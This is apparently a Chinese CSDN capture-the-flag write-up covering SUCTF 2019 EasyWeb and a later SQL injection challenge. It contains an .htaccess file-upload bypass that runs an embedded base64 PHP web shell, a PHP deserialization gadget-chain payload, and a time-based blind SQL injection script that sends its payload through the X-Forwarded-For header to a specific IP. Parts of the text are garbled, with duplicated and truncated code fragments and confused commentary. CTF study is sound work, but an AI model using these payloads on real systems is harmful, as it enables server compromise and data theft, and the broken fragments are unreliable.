BUU WEB [SUCTF 2019]EasyWeb_buu easy_web-CSDN博客
但这道题使用的是.htaccess解析
.htaccess:
这段文本似乎涉及一个安全问题,即上传恶意文件并利用服务器配置的漏洞来执行远程代码(RCE)。这里的.htaccess文件被用来重写图片文件的解析方式,使其能够被PHP解析,并自动执行base64编码的PHP代码。
#define width 1337
#define height 1337
php_value auto_prepend_file "php://filter/convert.base64-decode/resource=./wenda.jpg"
AddType application/x-httpd-php .jpg
GIF89a66
PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==
然后上传然后rce:
这段PHP代码似乎存在一些安全问题,因为它允许通过GET参数直接包含和执行文件,这可能会导致远程代码执行(RCE)的安全漏洞。
这段代码的工作方式如下:
fun
参数在GET请求中设置,它会检查justafun()
函数是否返回真。如果返回真,那么就会包含并执行相应的文件。fun
参数,那么它会尝试反序列化yourcode
参数。其中,justafun()
函数可能是一个安全检查,用于确保只包含和执行预期的文件。然而,通过直接使用$_GET['fun']
作为参数,这可能被恶意用户利用,导致包含和执行任意文件。
这是一个可能的风险,因为PHP的include()
函数会执行所包含的代码。这意味着如果一个恶意用户能够通过fun
参数包含并执行一个包含恶意代码的文件,那么他们可能会执行任意代码。
为了防止这种情况,你应该避免直接使用用户提供的输入来包含和执行文件。你可以考虑使用白名单机制来限制可以包含的文件,或者在包含文件之前对文件名进行某种形式的验证或过滤。例如,你可以检查文件名是否仅包含预期的字符,或者使用函数如str_replace()
来移除可能有害的字符或路径分隔符。
另外,反序列化操作也可能存在安全风险。反序列化是将序列化的数据转回为对象的过程。如果反序列化的数据来自不可信的来源,那么它可能包含恶意代码,导致RCE漏洞。因此,除非你完全信任反序列化的数据来源,否则应该避免反序列化。
a . 'ctf';
}
}
class bfun {
private $items = array();
public function __toString() {
$item = $this->items;
$str = $item['dd']->knife;
return 'what the good?';
}
}
class cfun {
private $params = array();
public function __get($key) {
global $flag;
$tmp = $this->params[$key];
var_dump($$tmp);
}
}
在上述提供的PHP代码中,我们正在尝试通过多个类的相互作用来获取一个名为flag
的全局变量的值。你已经为这些类定义了几个魔术方法,如__wakeup()
, __toString()
, 和__get()
,并计划通过特定的方式来触发这些方法。
让我们详细分析你的计划:
afun
类的__wakeup()
方法中,你试图将私有属性$a
与字符串'ctf'
连接。但是,由于$a
是私有的,你不能直接从类的外部访问它。你需要一个方法来间接地修改它的值。$this->a
在bfun
类的__toString()
方法中触发,并计划将$this->a
设置为new bfun()
的实例。但是,你需要在某个地方初始化这个afun
类的实例,并确保其__wakeup()
方法被调用。bfun
类中的$items['dd']
触发cfun
类中的__get()
方法。为此,你需要将$items['dd']
设置为new cfun()
的实例。cfun
类中的$params['knife']
等于字符串"flag"
,这样当你尝试访问它时,它会输出全局变量$flag
的值。基于上述分析,以下是如何实现你的计划的代码:
php复制代码
|
|
$test = "Hello world"; |
|
include "flag.php"; |
|
function justafun($filename){ |
|
$result = preg_match("/flag|zlib|string/i", $filename); |
|
if($result){ |
|
return FALSE; |
|
} |
|
return TRUE; |
|
} |
|
class afun { |
|
private $a; |
|
function __wakeup(){ |
|
$this->a = new bfun(); |
|
} |
|
} |
|
class bfun { |
|
private $items = array(); |
|
public function __construct() { |
|
$this->items['dd'] = new cfun(); |
|
} |
|
public function __toString() { |
|
$item = $this->items; |
|
$str = $item['dd']->knife; // This will trigger the __get() method in the cfun class |
|
return 'what the good?'; |
|
} |
|
} |
|
class cfun { |
|
private $params = array(); |
|
public function __construct() { |
|
$this->params['knife'] = 'flag'; |
|
} |
|
public function __get($key) { |
|
global $flag; |
|
echo $flag; // Directly output the flag instead of var_dump( |
|
$$ |
|
tmp), which may not give the desired output |
|
} |
|
} |
|
// Initialize and serialize the afun class instance to trigger the __wakeup() method |
|
$obj = new afun(); |
|
$serialized_obj = serialize($obj); |
|
unserialize($serialized_obj); // This will output the flag value |
__get()
方法中的代码来直接输出标志值。a . 'ctf';
}
}
class bfun {
private $items = array();
public function __toString() {
$item = $this->items;
$str = $item['dd']->knife;
return 'what the good?';
}
}
class cfun {
private $params = array();
public function __get($key) {
global $flag;
$tmp = $this->params[$key];
var_dump($$tmp);
}
}
这里注意私有变量需要内部构造函数来进行触发其他魔术方法:
这里这种框框换成%00 或者url编码也行
得到payload:
?yourcode=O:4:%22afun%22:1:{s:7:%22%00afun%00a%22;O:4:%22bfun%22:1:{s:11:%22%00bfun%00items%22;a:1:{s:2:%22dd%22;O:4:%22cfun%22:1:{s:12:%22%00cfun%00params%22;a:1:{s:5:%22knife%22;s:4:%22flag%22;}}}}}
得到flag:
有点类似这道题:
https://www.cnblogs.com/zzjdbk/p/13617530.html
没做出来 感觉是XFF盲注 INSERT INTO 注入 然后原题...
Bugku writeup3 - Junay的博客
Bugku-INSERT INTO 注入 - 简书 (jianshu.com)
给个脚本:
import requests
import sys
# 基于时间的盲注,过滤了逗号 ,
sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"
url = 'http://47.106.186.166:31590/'
flag = ''
for i in range(1, 40):
print('正在猜测:', str(i))
for ch in range(32, 129):
if ch == 128:
sys.exit(0)
sqli = sql.format(i, chr(ch))
# print(sqli)
header = {
'X-Forwarded-For': sqli
}
try:
html = requests.get(url, headers=header, timeout=3)
except:
flag += chr(ch)
print(flag)
break
“古剑山”第一届全国大学生网络攻防大赛初赛————(签到题)Misc | i have the flag-CSDN博客